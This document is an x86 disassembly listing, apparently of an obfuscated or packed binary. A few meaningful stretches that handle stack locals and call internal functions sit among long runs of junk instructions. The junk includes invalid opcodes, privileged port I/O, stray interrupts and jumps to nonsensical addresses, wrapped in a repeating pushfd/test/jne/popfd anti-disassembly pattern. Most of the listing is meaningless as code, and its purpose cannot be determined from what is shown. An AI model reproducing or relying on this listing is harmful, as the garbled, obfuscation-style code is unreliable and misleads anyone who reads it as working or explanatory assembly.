mov fs, word [ebp - 0x13]
mov eax, dword [0x8e6052c5]
in eax, dx
or dh, byte [edi]
inc ebx
sbb byte [edi - 0x22], dh
sub al, ah
dec ebp
push ss
xchg byte [eax], ch
and dword [esi], esi
dec ecx
clc
sub al, 2
pop es
imul eax, dword [edx], 0xffffffd3
and al, 0x6e
stosd dword es:[edi], eax
xlatb
xor dword [eax - 0x1c], esp
cmc
pop esp
cmp eax, 0x621e90b5
int 0xb8
bound esi, qword [ebp + 0x6d]
popfd
mov byte [ebp - 4], 9
pushfd
test byte [0x1008cd67], 0xda
jne 0x1008cd68
pop edi
jle 0x1008cc3c
mov ebp, 0x3402f9a5
clc
mov byte [eax + 0x74], ch
add al, 0xb
jae 0x1008cca4
push 0x730b0474
add dh, byte [ebx - 0x5f]
je 0x1008cca3
or esi, dword [ebx + 2]
jae 0x1008cc45
mov eax, dword [0x1c08196c]
and al, 0x55
insb byte es:[edi], dx
sbb dword [eax], ecx
sbb al, 0x24
push ebp
mov ebx, 0x944af6cb
add al, 0x60
rcr bh, 0x2a
shr byte [esi], 0x27
mov ah, 4
or byte [edx], 0x90
mov esi, 0xad9d32d6
dec eax
fcomp dword [esi]
inc ebp
mov cl, 0xe7
arpl word [ecx - 0x58], sp
sub dword [ecx + 0x7abae29b], 0x1b
loop 0x1008cc9d
je 0x1008cd1e
push ebx
pop ds
pop esi
jno 0x1008ccf6
push ecx
push cs
xchg ecx, eax
imul eax, ecx, 0xffffffc3
fmul dword [ebp - 0x37]
cli
fidivr word [eax]
scasb al, byte es:[edi]
push es
je 0x1008cd39
jecxz 0x1008cc9f
inc ebx
daa
push cs
pop edx
sbb al, byte [0x29a26b8a]
pop ss
sub dword [edi], edx
mov bh, 0x4c
test al, 4
sahf
sbb al, 0xff
sub byte [esi], dh
les eax, [edx - 0x13]
xchg edi, eax
inc eax
mov ebx, 0xb58aa57c
jns 0x1008cc9c
scasb al, byte es:[edi]
push es
xchg esp, eax
xchg esp, eax
push 0xfffffffffffffffe
cdq
sub al, 0xad
sub eax, 0x741ddb19
cmpsb byte [esi], byte es:[edi]
add bl, 0x71
inc esp
or cl, byte [esp + esi*2 + 1]
cmp edi, dword [edx]
dec eax
arpl word [edi - 0x25ae5e81], sp
add ebx, 0xf07eeb47
add eax, 0xba80efd7
ret
jle 0x1008cd40
lodsb al, byte [esi]
cmp edx, edx
mov ch, 0x39
mov cl, 0x8c
ror byte [0xb8fe373f], cl
jg 0x1008cd81
sti
and byte [ecx], 0xeb
int1
push ds
or eax, 0x9f4e8bc6
and dh, byte [esi + 0x7d4a8ab2]
aaa
cdq
lahf
mov edi, 0xa8484488
push eax
pop esp
leave
popfd
jae 0x1008cd71
lea eax, [ebp - 0x5f0]
push dword [ebp - 0x5e0]
pushfd
test byte [0x1008cdcb], 0x47
jne 0x1008cdcc
mov edi, 0xbbddf2ce
mov eax, 0xe6c54c23
mov bh, 0x95
lodsb al, byte [esi]
scasb al, byte es:[edi]
rcl dword [ebx + 0x33], 0x1a
xchg esp, eax
mov dword [edi], edx
adc ecx, esp
sbb bh, 0xb
loopne 0x1008cdeb
or dword [esi + 0x46], edx
xor al, 0xd3
out 0x29, eax
add ax, 0x6541
add eax, 0x6c28a2c6
add eax, 0xae2cca9a
inc esi
out dx, eax
mov bl, 0x34
aas
pop edi
cmpxchg dword [ebp + 0x38701e82], eax
or bl, ch
pushfd
sbb byte [edx - 0x779cbe1d], 0x5c
bound ecx, qword [eax]
push esp
popfd
push eax
lea eax, [ebp - 0xaa4]
push eax
call fcn.1011d7d0
mov esi, dword [ebp - 0x1750]
add esp, 0xc
lea eax, [ebp - 0xaa4]
push eax
mov ecx, esi
into
call fcn.10053ec5
cmp eax, edi
jne 0x1008dee3
pushfd
test byte [0x1008ce4b], 0xf7
jne 0x1008ce4c
int1
cli
lodsb al, byte [esi]
adc bh, ch
or ebp, ecx
out 0xd8, al
fcom qword [ebx + 0x3b]
xchg ebp, edi
xchg edi, eax
push ebx
push 0xe2fa771a
rcr dword [esi - 0x206f5ac8], 0xaf
mov edx, 0x41bd2b96
sbb byte [edi - 0x70], 0x9a
sal byte [ebx - 0x34], cl
je 0x1008ce38
push esi
loopne 0x1008ce45
dec esp
into
sub al, byte [edx + edx]
fld dword [ecx + 0x24]
inc ebx
inc ecx
and al, 0x43
mov byte [edx + 0x12], ah
push ds
sbb ax, ax
mov dl, 0xca
or eax, 0x40b6955
aaa
push ss
insb byte es:[edi], dx
push ebp
imul ecx, dword [ebx], 0x6c163704
popfd
push 0x41d
lea eax, [ebp - 0xaa4]
push eax
lea eax, [ebp - 0x172c]
push eax
call fcn.1011d7d0
and dword [ebp - 0x1754], 0
lea edi, [esi + 0xd6c]
add esp, 0xc
mov ecx, edi
call fcn.100590a3
aam 0xe8
invalid
pushfd
test byte [0x1008cf71], 0xc0
jne 0x1008cf72
sti
pushal
stosd dword es:[edi], eax
xchg ecx, eax
xchg ecx, eax
fisubr word [edi - 0x137040de]
mov al, byte [0xc364ecf8]
loopne 0x1008ce5b
adc ecx, ebp
cwde
push ecx
fist dword [edx + ebp*4]
jae 0x1008ce7c
inc byte [esi + ebp*8]
jb 0x1008ceb4
test al, 0x73
mov cl, ah
movsb byte es:[edi], byte [esi]
out 0x8d, al
wbinvd
pop ecx
jecxz 0x1008cea0
or dword [ecx + 0x64], ebx
jecxz 0x1008cea0
into
add dl, byte [eax + 0x7bd77e7b]
mov byte [edi + 0x53f976bb], dh
cli
push edx
ficom dword [eax - 0x1f]
sub byte [esi - 0x69e15103], 0x78
mov ebp, 0x72410fa6
mov ah, 0x4a
push ds
dec esp
aas
mov bl, 0x47
adc cl, byte [esi - 0x4d]
sbb edi, esi
inc ecx
sbb dword [edx - 0x435e039c], esi
out 3, eax
sub dl, byte [ecx]
inc esi
xchg ecx, eax
pop ss
cdq
cmpsd dword [esi], dword es:[edi]
pop edx
push ecx
cmp eax, 0x6cab3ce
dec edx
into
jb 0x1008cf21
adc al, 0xbe
or eax, 0x7b5ef0e4
pushfd
out dx, al
aas
dec edx
and al, al
xor esp, ebx
cmp edx, esi
xchg edi, eax
cmp bh, byte [eax + ebx + 0x430344d4]
sbb dl, ch
pop ds
pop ss
adc dl, byte [ebp + 0x398a123d]
mov bh, byte [ecx]
aam 0x40
fdiv dword [edx]
sal byte [ebx - 0x43edbe1e], cl
jo 0x1008cf7f
loop 0x1008cf6c
adc bh, byte [eax + esi*2 - 0x4d65ab0]
movsd dword es:[edi], dword [esi]
sub ebx, edi
sti
pop ebp
push edx
jbe 0x1008cf7e
jne 0x1008cecb
lodsd eax, dword [esi]
pop ebp
outsb dx, byte [esi]
dec dword [edi + 0x42a300b3]
in al, dx
add eax, 0xecf74af
je 0x1008cf31
cmpsb byte [esi], byte es:[edi]
ja 0x1008cf29
add ebp, dword [ecx + 0x44]
inc esp
cmp cl, 0xbf
push esi
add ebx, edi
fldenv [ecx + 0x33]
adc edi, dword [eax + 0x41]
js 0x1008cfda
add ah, byte [ebp + edx - 0x7adc550b]
bound ecx, qword [esi + 0x7668fc15]
stc
test byte [0x17f34d26], ch
sub eax, 0x17f34d26
xchg esi, eax
popfd
mov ecx, dword [ebp - 0x5f0]
add eax, 7
shr eax, 3
cli
invalid
add eax, dword [ebx - 0x5db43]
call dword [eax]
cmp dword [ebp - 0x5dc], 0x10
pushfd
test byte [0x1008cfab], 0x7d
jne 0x1008d0ac
push edx
push esi
arpl word [edx], bp
dec esi
pop edi
loop 0x1008cfee
sbb eax, 0x85163445
leave
js 0x470d8f78
sub dword [ebx], esi
imul ebp, dword [edi - 0x5f895acf], 0x71823057
push ebp
mov edi, 0x3aa617b3
cmp esi, dword [edi]
out dx, al
sbb edi, edx
sbb eax, 0xe9d014f5
mov ebp, 0xaec4a58a
jecxz 0x1008cf4e
movsd dword es:[edi], dword [esi]
les ebp, [esi - 0x41ef7c1d]
mov cl, byte [esi]
hlt
adc byte [esi - 0xc0bf176], bh
js 0x1008cfc6
adc ebx, dword [eax]
jbe 0x1008cf76
cli
xchg esp, eax
in al, dx
les ebp, [ecx - 0x65]
or ebx, dword [edi + 0x7fba32a0]
aam 0x74
mov esi, 0x6268fba1
int 0x10
mov bh, ch
mov dword [esi - 0x389b6b2f], eax
adc eax, 0xdbec8498
mov ebp, 0x55fe6cbb
imul edx, dword [0x59bb2160], 0x727a7be7
salc
cli
sar ecx, cl
popfd
xchg edi, eax
push ds
add byte [edi + 0x50c40e14], bl
adc dword [ecx + 0x758cdd60], esp
jb 0x1008d06b
mov cl, 0x2e
cmp al, 0x98
adc al, 0xf5
dec edi
xchg ebp, eax
aas
rcr byte [edx], cl
cmpsd dword [esi], dword es:[edi]
out 0x88, al
ficom word [eax - 0x5c]
sub byte [ebx + edx - 0x505f5138], ch
scasd eax, dword es:[edi]
in al, dx
rcr dword [edi], 1
inc ebp
salc
and eax, 0xdf8f2fd2
adc al, 0x9b
pop dword [ecx + 0x4b]
fild word [ebp + 0x5c]
xchg ebx, eax
dec esi
push ebp
push eax
mov ecx, esi
xchg esi, eax
cld
sub esp, dword [edi + 0xe5b0708]
cmp al, 0x87
sar ebx, 0x94
dec esi
push eax
cmpsd dword [esi], dword es:[edi]
sub dword [esi + edi], edi
into
xlatb
aas
xor dword [eax - 0x6c68d6b8], esi
ja 0x1008d034
cmp dh, bl
xchg ecx, eax
lodsd eax, dword [esi]
dec edx
stc
dec ebp
stosb byte es:[edi], al
imul ecx, dword [edi], 0xffffffde
jecxz 0x1008d0df
pop ss
xor eax, 0xaecff700
lodsd eax, dword [esi]
xchg ebp, eax
dec esp
imul eax, ecx, 0xba1a9b67
adc eax, 0x31c0935c
fld qword [ebx - 0x19]
add eax, 0xe4748296
mov ah, 0xad
out dx, eax
sub ecx, edx
xor dword [ecx], esp
cdq
mov ebx, 0xa9a3f539
mov ebp, 0xd0d36b36
push ebx
push ebp
sub al, 0xb2
popfd
jae 0x1008d0b5
lea ecx, [ebp - 0x5f0]
push eax
add ecx, 0x7a
push ecx
lea eax, [ebp - 0x1754]
push eax
lea eax, [ebp - 0xa2a]
push eax
pushfd
test byte [0x1008d0fe], 0xc7
jne 0x1008d1ff
push es
stc
cdq
int3
push 0x16
stosd dword es:[edi], eax
dec esi
push esp
cmpsd dword [esi], dword es:[edi]
insd dword es:[edi], dx
clc
in al, 0xe8
inc esp
sbb eax, 0xa2332847
add dword [esi], edi
in al, 3
push cs
xor byte [eax + 0xe], ah
std
out 0x91, al
pop ss
fisttp dword [edi - 0x51]
scasd eax, dword es:[edi]
pop ebp
daa
in eax, 0xbe
sbb byte [edx + 0x116de0e6], ah
popal
fstp dword [esi + edi*8]
pop ds
mov ch, bh
cmp bh, dl
sbb dword [esi - 0x28], esp
inc esp
pop ebp
sar ebx, cl
sar byte [eax - 0x2c], 0
pushal
xchg ecx, eax
mov eax, dword [0x1df1af61]
salc
aam 0x4f
xchg dword [edi + 0x17], ecx
mov bh, 0x97
fst qword [ebx + 0x5d48cc1a]
pop edx
fisttp dword [esi - 0x7a]
add edi, dword [edx - 0x4bcaabda]
rcr dword [esi], 0xfd
pop es
inc eax
or ah, bl
jnp 0x1008d1a6
mov eax, dword [ebp + 0x7046b454]
arpl ax, bx
cmp dword [edi], ecx
sub word [ebp + 5], 0xfffe
mov al, byte [0x8d7af53a]
pcmpgtd mm0, qword [ebx - 0x5f01fa93]
cmp dh, ch
jp 0x1008d0e6
test ecx, ecx
sub cl, byte [ebp + 0x1e]
inc ebx
push ss
xor byte [edx + 0x21], ch
xor al, byte [edx + 0x2744d42a]
or al, 0xef
std
mov al, 0xe1
fsub qword [eax - 0x619c179e]
das
inc ebx
sub eax, 0x5511d9d
daa
stosd dword es:[edi], eax
xchg ebp, eax
add al, 0xbd
inc edx
and byte [esi + 0x325ffae4], ah
pushfd
mov ecx, 0x760363a
jae 0x1008d14e
mov edi, 0x584e6d9a
bound ebp, qword [ebx + 0x4db256c7]
push 0x32b6ce50
inc esp
fisub dword [edx]
and ah, al
mov eax, 0xe52a902e
nop
sub ah, ch
rcl dword [ebp + ebx*2 - 0x37], 0x38
cmp ebx, dword [esi - 0x1f51e6df]
mov dword fs:[0xd718f9f1], eax
mov edi, 0x848147a6
imul ebp, dword [ebp - 0x3d3fad4c], 0xe4582d97
inc edx
inc edi
add dword [ecx + ebp*2 - 0x3fad4b53], 0x582d97c2
in al, 0x42
jle 0x1008d163
out dx, al
cmp bh, ah
lahf
clc
xor bl, cl
or ebx, dword [edi + 0x8062c34]
test byte [esi], cl
adc byte [ebx - 0xa8c872e], ch
jbe 0x1008d1bc
lds eax, [0x621abdd2]
cmp byte [esp], 0x53
pop ebp
jae 0x1008d270
push cs
jne 0x1008d18f
cmp dl, byte [eax]
in eax, 0xda
cmp esi, dword [edi + 0x210a26f7]
popfd
mov ecx, edi
call fcn.100b8120
pushfd
test byte [0x1008d2ed], 0x9e
jne 0x1008d2ee
out dx, al
test dword [ecx + 0x35], ebp
cmp eax, 0x2d4a826a
and al, 0xfb
dec edx
add esp, esp
int3
int 0x8e
mov dl, 0x5a
in al, 0xee
lea edi, [edi]
mov word [ecx + ebx*4 - 0x11f5257], fs
das
cmp esp, eax
cmp eax, 0x6b793567
insd dword es:[edi], dx
pop ebp
out 0xaa, eax
les edx, [eax - 0x7f]
xchg edi, eax
or byte [edi], bl
xchg esp, eax
inc eax
cmc
movsd dword es:[edi], dword [esi]
xacquire xchg byte [eax - 0xf], cl
dec ebp
dec ebx
sbb esi, esi
dec ebp
pushfd
mov edi, edi
cld
pop eax
sbb al, 0x91
pop edi
push esp
dec ebx
pop eax
xor ch, byte [esi]
adc eax, 0x1e60bc59
and eax, 0xfb03b64c
sbb eax, 0x7ab2c58b
xlatb
xchg esi, eax
xchg ebp, eax
jg 0x1008d312
mov eax, 0x42a08907
mov cl, 0x32
push ecx
mov dword [0x51fc6521], eax
pop ecx
mov dl, ah
les eax, [edx + 0x30]
sub eax, 0x42b7eeff
das
mov cl, 0xe4
xchg ebp, eax
push ebp
cmpsd dword [esi], dword es:[edi]
inc esp
fstp st(3)
jae 0x1008d278
sti
cmpsd dword [esi], dword es:[edi]
dec eax
stosb byte es:[edi], al
sbb eax, 0xc1745555
popfd
cmp eax, 0xffffffff
jne 0x1008d7af
pushfd
test byte [0x1008d3ff], 0x22
jne 0x1008d400
add byte [eax], al
add byte [esi + 0x6bb706e2], al
xchg dl, ah
push es
mov bh, 0x6b
outsb dx, byte [esi]
sahf
mov eax, dword [0xadd98872]
lodsd eax, dword [esi]
xchg edx, eax
and eax, dword [edx + 0x1c57f67f]
sal dword [edx + 0x678707a7], cl
dec eax
mov ebp, ebx
in al, 0x2c
imul ecx, dword [ecx + ecx*2 + 0x46], 0x3782125e
aas
lds edx, [bx]
sub al, 0x69
dec esp
dec ecx
inc esi
pop esi
adc al, byte [edx - 0x3a98c0c9]
pop ss
pop eax
test al, 0x32
mov ch, 0xa8
je 0x1008d34d
xchg edx, esi
mov eax, dword [0x4c69233]
lahf
mov ebx, 0x4832f0f
xchg edx, eax
mov byte [edi + ebx*4], 0x2e
mov ebx, 0x4832f0f
inc eax
cmpsb byte [esi], byte es:[edi]
cmp al, byte [bx + si + 0x3ce7]
cmpsb byte [esi], byte es:[edi]
xor dh, byte [edx - 0x26]
sar dword [eax - 0x40], 0x9e
sahf
movsb byte es:[edi], byte [esi]
sahf
inc ebx
jecxz 0x1008d3c7
leave
daa
add bl, byte [ecx - 0x6a34f5db]
call 0xf008c257
je 0x1008d303
push esp
insd dword es:[edi], dx
cmpsd dword [esi], dword es:[edi]
aad 0x80
and al, 0x64
jl 0x1008d39e
jecxz 0x1008d33c
inc esi
shr dword [ebx - 0x70], 1
movsb byte es:[edi], byte [esi]
sbb byte [ecx - 0x13670769], ch
adc al, 0x9d
add eax, 0x3aef3860
xlatb
fcom st(2)
out 0xde, al
xchg ecx, eax
aam 0x5a
pop edx
stc
mov al, 0x82
jg 0x1008d324
xchg edx, eax
loop 0x1008d3cf
sti
stosd dword es:[edi], eax
cwde
imul dword [esi + 7]
imul esi, edx, 0xd
cdq
push ebp
xor bh, byte [eax - 0x38dd1b90]
stosb byte es:[edi], al
sti
in eax, dx
out dx, eax
and al, 0xa8
pushal
xchg esp, eax
adc dword [edi], eax
loop 0x1008d3d7
add dword [ebx - 0xe3f9655], 0xfffffffb
inc edi
xor dword [edi - 0x73d4bfc0], 0x1c
je 0x1008d3b9
sbb al, 0x74
out dx, eax
inc eax
inc esp
out 0x42, eax
inc eax
insb byte es:[edi], dx
sahf
in al, 0xf2
dec edx
inc ecx
cli
cli
or byte [eax], 0xd4
test byte [edi + 0x49], dh
and al, 0x37
mov edi, esp
movsb byte es:[edi], byte [esi]
imul edx, dword [ecx], 0x6b
xor eax, 0x2cd8388e
salc
ror dword [ebx], cl
adc edi, dword [edx]
push cs
and edx, dword [esi + 0x4b]
inc edi
or eax, 0xc716e4f9
ror byte [ebp + 0x61b0c534], cl
popfd
xor esi, esi
push esi
pushfd
test byte [0x1008d4ef], 0x8a
je 0x1008d4f0
out 0xed, eax
fdivr dword [edx]
scasb al, byte es:[edi]
xlatb
dec ebx
mov eax, 0x7c8178c4
adc edi, dword [esi + 0x7b]
xor bh, dh
inc esi
int3
or al, 9
loope 0x1008d521
dec edx
invalid
popfd
push 1
lea ecx, [ebp - 0x5f0]
pushfd
test byte [0x1008d56a], 0x82
jne 0x1008d56b
neg edx
inc edx
jnp 0x1008d51b
jb 0x1008d553
sbb dword [eax], eax
adc byte [ebx], ah
dec edx
xor bh, 0xaf
test dword [ebx + 0x53], edi
jno 0x1008d51b
jg 0x1008d4db
add al, 0x42
dec esp
shr dword [esi + 0x3916a270], cl
insb byte es:[edi], dx
mov cl, 0x18
cmp dword [ecx + esi*4 + 0x18], ebp
test al, 0xb5
push ecx
rcr byte [esi - 0x39adb6f6], 1
dec ebx
jno 0x1008d585
jbe 0x1008d540
mov dword [ecx + ebp*8 + 0xa], ecx
push eax
add byte [ecx - 0x2adc7351], dl
push ax
sar esi, cl
cld
not al
sbb esp, 0x35
je 0x1008d580
shl dh, cl
xor byte [esi + 0x2c], al
push edx
sbb dword [0x27448b83], eax
je 0x1008d5a0
or dword [ebx + 0x47742744], 0xffffffd1
sbb al, 0x95
scasd eax, dword es:[edi]
fadd qword [ebp + 0x6cd76c9]
rcr dword [edx*4 - 0x367a2351], 1
jbe 0x1008d52f
push es
mov ecx, 0x75c7d756
in eax, 0x58
xchg esi, eax
popfd
call fcn.10002a9a
lea ecx, [ebp - 0x1744]
mov byte [ebp - 4], 4
call fcn.10001009
pushfd
test byte [0x1008d65b], 4
jne 0x1008d65c
or byte [eax], dl
add al, 0xf
test esi, ecx
add byte [eax], al
add ah, bl
dec ebx
pop eax
fmul qword [ebx - 0xd]
pop eax
mov dword [ebp + 0x5f0504ef], ebp
popal
lodsb al, byte [esi]
push eax
inc eax
lodsd eax, dword [esi]
cmpsd dword [esi], dword es:[edi]
lodsd eax, dword [esi]
cli
int1
add al, dh
sbb eax, 0xe8a10fe5
add dword [ebx], eax
xchg esp, eax
xchg byte [ebx], bh
fmul st(2)
jg 0x1008d542
cmp ebp, esp
dec edx
cmp cl, bh
dec esi
push esp
push esp
dec edx
fnsave dword [edi]
mov dword [0x6f9ff553], eax
mov al, byte [0xc4634f8]
int1
stc
fisttp word [ecx]
cwde
push cs
mov bh, ch
inc ebp
int3
movsb byte es:[edi], byte [esi]
int3
popfd
push esi
push 1
lea ecx, [ebp - 0x60c]
call fcn.10002a9a
or dword [ebp - 4], 0xffffffff
pushfd
test byte [0x1008d713], 0x36
jne 0x1008d714
add eax, 0x1008d713
jne 0x1008d714
inc eax
sar byte [eax + 0x4034d782], 0xea
inc esp
mov esp, 0xfcdf110
push esp
lahf
rcl esp, cl
add al, dh
jns 0x1008d64f
scasd eax, dword es:[edi]
or al, 0xc4
or ecx, dword [ecx]
ficomp word [eax - 0x1d]
cdq
int1
inc ebp
lea esp, [ebx - 0x10ac3dd4]
mov ebx, 0xa7037d81
fmul dword [ecx + 0x21]
and dword [ebp + ebp*4 - 0x6a], ebx
push ds
or ebp, dword [esi]
dec esi
in eax, 0x91
and dword [ecx + 0x58], eax
aaa
inc ebx
sar dword [ebx + ebx*4 - 0x45], 1
mov ebp, dword [eax]
mov bh, 0x2a
sub eax, 0x9baa7bc3
push ebx
sahf
cmp edi, ecx
je 0x1008d713
mov dh, 0x2b
sbb dword [ecx + 0xe], edx
mov ah, 0x79
xchg edx, eax
mov dword [0x38943542], eax
cmpsb byte [esi], byte es:[edi]
push ecx
inc esi
dec ebp
dec ebx
in eax, 0xc6
nop
lds ebp, [ebp + ebx*8 - 0x51026b4d]
das
dec edi
jb 0x1008d671
fdivr qword [edi - 0x7d123250]
add byte [ecx + 0x2c411f05], 0xd
dec esi
sbb bh, byte [ecx]
pushfd
int 0xed
add byte [eax + 0x411f0581], 0x2c
or eax, 0x9c391a4e
loopne 0x1008d693
pop esp
pop ebx
test byte [edx + 0xf89c049], bh
pop esp
sbb eax, dword [ecx + ecx*2 - 0x60dae9ba]
lahf
popfd
push esi
push 1
lea ecx, [ebp - 0x644]
call fcn.10002a9a
xor edi, edi
pushfd
test byte [0x1008d7a7], 0xf
jne 0x1008d7a8
inc byte [esi]
cmp ch, byte [edx]
sbb cl, byte [ebp - 0x32]
xor al, 0xa
sub al, 0x40
or esi, dword [eax - 0x7f]
or byte [edx], 0xcb
and al, 0xe8
ficomp dword [ebp + 0x18]
dec ecx
test al, 0xe4
dec edi
jge 0x1008d774
push esp
in eax, dx
enter 0x453e, 0xffffffffffffffde
inc ecx
inc esi
fiadd word [ecx + 0x46]
add bh, dl
and al, 0xcd
dec eax
lodsd eax, dword [esi]
std
add eax, 0xb56339b2
jnp 0x1008d6f3
cmpsd dword [esi], dword es:[edi]
imul ecx, dword [ecx + 0x5706a774], 0xb26bbc4c
pop edi
bnd jns 0x1008d752
add eax, 0x917330ce
xor byte [ebx - 0x6f], dh
into
pop edx
and dword [bx + di - 0x24], edx
aam 4
outsb dx, byte [esi]
dec edx
bound esi, qword [ebp]
sar byte [ecx + 0x78820ae4], 0xb5
and al, 0x80
xchg ebx, eax
lea edi, [esi]
mov edx, 0xb1d77c91
inc edx
sbb cl, byte [ecx]
mov ebx, 0x3591a19f
xchg edx, eax
das
and dl, al
lodsd eax, dword [esi]
lodsd eax, dword [esi]
outsb dx, byte [esi]
sbb dh, bh
popfd
inc edi
jmp 0x1008e6e4
mov esi, dword [ebp - 0x5e0]
pushfd
test byte [0x1008d7e9], 0xc7
jne 0x1008d8ea
jmp 0xd718e094
sbb dl, bl
push 0xffffffffffffffde
sar dword [edi], 0x87
in eax, dx
xchg ebp, ebp
out 0x11, al
inc ebp
sub dl, byte [edi + 0x47a9dcec]
dec ebp
or al, 0x24
out dx, al
mov bh, 0x65
aad 0x5e
push ds
cli
xor byte [edx + edi*4], dl
push 0x51864cb0
fadd dword [esp + ecx*4 + 0x1f70cfb4]
arpl word [ebp + edi*4 + 0x65], cx
jae 0x1008d7c9
outsd dx, dword [esi]
jle 0x1008d7b8
aaa
mov word [ebp - 0x7e], es
adc dword [edi + 0x50], ebx
push eax
fnstsw ax
aad 0xdf
or esi, edi
lahf
cmove eax, dword [esi + 0x15ba23cf]
pop ebp
sbb byte [edx], al
xchg esp, eax
lodsd eax, dword [esi]
mov edx, 0x8f1d9c17
sub al, 0x4c
sub edi, dword cs:[ebp + ebp*2 + 0x7263f17f]
and edx, dword [edi - 0x73]
add dword [ebp - 0xfc85980], esi
insd dword es:[edi], dx
add byte [eax], al
jb 0x1008d843
push edi
lea eax, [ecx]
mov ch, 0x80
cmpsb byte [esi], byte es:[edi]
aaa
invalid
and byte [esi + 0x6df037], 0
cmpsd dword [esi], dword es:[edi]
push 0xffffffffffffffe8
jg 0x1008d7fc
jle 0x1008d855
into
cmp ah, al
clc
pop eax
add eax, 0x4717eab5
jge 0x1008d81e
mov byte [eax - 0x75], bl
test byte [esi], bl
push ecx
mov ch, 0x20
sal byte [ebp - 0x1edcd3ea], cl
test dword [ecx + 0x3790f9f9], esi
push esp
lds esp, [eax - 0x5a2f199b]
out 0xd0, al
movsd dword es:[edi], dword [esi]
sbb ebx, dword [eax + 0x6b545a6b]
add ch, byte [ecx + 0x61]
outsd dx, dword [esi]
xchg edi, eax
movsb byte es:[edi], byte [esi]
out 0xd1, eax
pop esp
xchg edx, eax
adc byte [esi + 0x1d], ch
xchg ecx, eax
sub esp, edi
push edi
dec eax
sbb dh, byte [edi - 0x3e]
imul ecx, dword [eax - 0x10], 0xffffffc1
mov esi, 0xa6084afc
sbb edx, edi
jne 0x1008d824
loopne 0x1008d8a0
and byte [ebp + 0x12cfae39], bh
int3
fxch st(6)
pop esp
and ebx, dword [edx + 0x79334f1f]
sbb al, 0xef
stosb byte es:[edi], al
leave
test edx, ebp
push cs
cwde
mov dl, ah
push cs
pop ss
dec ecx
sbb esi, dword [edx - 0x2c]
sub eax, 0x97332190
jecxz 0x1008d8fb
aas
into
not ch
cwde
test dword [0x2c8fd813], eax
sub byte [ebp - 0x11961a35], ah
mov edi, 0xac370987
add edi, 0x1e
inc ebp
lodsb al, byte [esi]
div dword [edi]
daa
cmc
clc
loopne 0x1008d90e
sub al, 0x88
mov ch, 0xb2
xchg edx, eax
cmpsb byte [esi], byte es:[edi]
popfd
mov ecx, edi
call fcn.100590a3
lea ebx, [eax + 7]
mov eax, dword [ebp - 0x5f0]
shr ebx, 3
cmp dword [ebp - 0x5dc], 0x10
pushfd
test byte [0x1008d9c6], 0xe4
jne 0x1008d9c7
test dword [eax + eax - 0x25b50000], esi
mov ebp, ebp
retf
dec ebx
fimul dword [ebx + 0x72a5cbed]
pop ds
int 0x4e
xchg edx, eax
cmp al, 0x1b
aaa
inc esp
insd dword es:[edi], dx
xchg ebp, eax
test byte [edi - 0x2f], bl
cmp al, bl
jl 0x1008d93a
push esp
dec eax
sub al, 0xda
rcr dword [eax + 0x17], 1
sti
nop
add al, 0xfb
xchg esp, eax
pop ds
mov dh, 0xc2
adc eax, 0x9d0b596
mov ebp, 0x206b5f65
out dx, eax
dec esp
aam 0x63
outsd dx, dword [esi]
aas
rcl dh, 1
mov cl, 0x1a
fild word [eax + 0x6170d263]
pop eax
inc eax
loop 0x1008d998
ret 0x9615
pushfd
scasb al, byte es:[edi]
lea ebp, [ecx - 0x5511c9ee]
dec esp
sar dword [edi], 0xd1
cwde
mov al, byte [0x3f66bf29]
in eax, 0xb4
and dword [edi - 0x39], ecx
lea edi, [ebp - 0x69607e13]
out dx, eax
sbb eax, 0x9757040f
lodsd eax, dword [esi]
clc
adc al, byte [ebx - 0x380dbba0]
push ss
adc al, byte [ebp + 0x404f1501]
push ss
sti
jnp 0x1008da00
int3
ror bl, 0x21
inc ebp
sal dword [edi - 0x3525febc], 1
sti
test dh, 0xac
out 0x8a, eax
mov al, byte ds:[0x843c5a19]
mov byte [0xd88cc655], ah
cmp dword [edi + 0x60], ebp
aaa
in al, dx
cmp dword [edx + 0x64be31da], esi
push esp
invalid
retf
popfd
jae 0x1008d9d0
lea eax, [ebp - 0x5f0]
mov ecx, edi
mov dword [ebp - 0x1734], eax
pushfd
test byte [0x1008da16], 0xcd
jne 0x1008da17
jl 0x1008d9f9
imul ebx, dword [ebx + 0x73], 5
imul ebp, ebp, 0xffffff94
inc esp
mov ecx, 0xe0ebefbb
js 0x1008d999
push esp
push edi
adc ebp, esp
arpl word [esi - 0x337dad1], bx
out 0x36, eax
das
and eax, 0x36e7fcc8
int 0x52
push edx
shl byte [edx + ebp + 0x65], cl
in al, 0x5d
push ebx
mov eax, 0xbdeccbae
lodsd eax, dword [esi]
pop ebx
mov ds, word [esi - 0x64]
popfd
mov bh, 0xcd
ficom word [ebx]
popfd
call fcn.100590a3
mov ecx, dword [ebp - 0x1734]
add eax, 7
pushfd
test byte [0x1008da88], 0x54
jne 0x1008da89
pop ds
push ecx
push es
dec ah
pushal
sub ah, al
mov ebp, 0xf5b20aff
and ebp, edx
popal
daa
or dword [edx + 0x297626d4], edi
and dword [ebp - 0x4f], esp
cmp byte [ecx], al
inc ecx
and dl, al
mov ah, 0x96
cbw
fdiv dword [esi + 0x5c]
in eax, dx
pop ecx
mov ebx, 0xe88ef2d
mov byte [esi], cl
sbb esp, dword [eax]
mov ch, byte [ebx + 0x4eaee847]
and byte [edx - 0x5117b855], cl
dec esi
mov bh, 0x65
rol eax, 0xba
and ebp, edi
mov eax, dword [0xdbbf2f7c]
jb 0x1008da5b
int1
int1
or eax, 0x4d546a7d
or eax, 0x500b351f
or eax, 0x4946d513
aas
xchg ebx, eax
in al, dx
aaa
popfd
shr eax, 3
sub esi, ebx
lea eax, [eax + ecx + 0x7a]
sub esi, 0x7a
push esi
push eax
pushfd
test byte [0x1008db78], 0xd1
jne 0x1008db79
or byte [eax], dl
ror dword [edi], 1
test ebx, edx
add byte [eax], al
add byte [edi - 0x541bf782], ch
scasd eax, dword es:[edi]
jle 0x1008dab1
in al, 0xab
fld qword [esi]
dec edi
pushfd
cwde
int 0x9b
jg 0x1008da9d
adc edx, dword [edi + 0x63]
dec edx
jne 0x1008da96
pop ss
or al, byte [ebp - 0x5a018c44]
adc eax, 0x3ce3efa7
je 0x1008da5e
aam 0xf9
sbb bl, byte [ebp - 0x7a63e444]
mov esi, 0xc710a8e8
in eax, 0xd6
stosd dword es:[edi], eax
sbb byte [edi - 0x58], bh
movsb byte es:[edi], byte [esi]
push es
or al, byte [ebp*4 + 0x2f664e6e]
lodsd eax, dword [esi]
outsb dx, byte [esi]
dec esi
das
inc ecx
stc
popfd
loop 0x1008db3b
rcl byte [eax + 0x53], 0x8b
and al, 0xc6
push ebx
mov esp, dword [esi + eax*8]
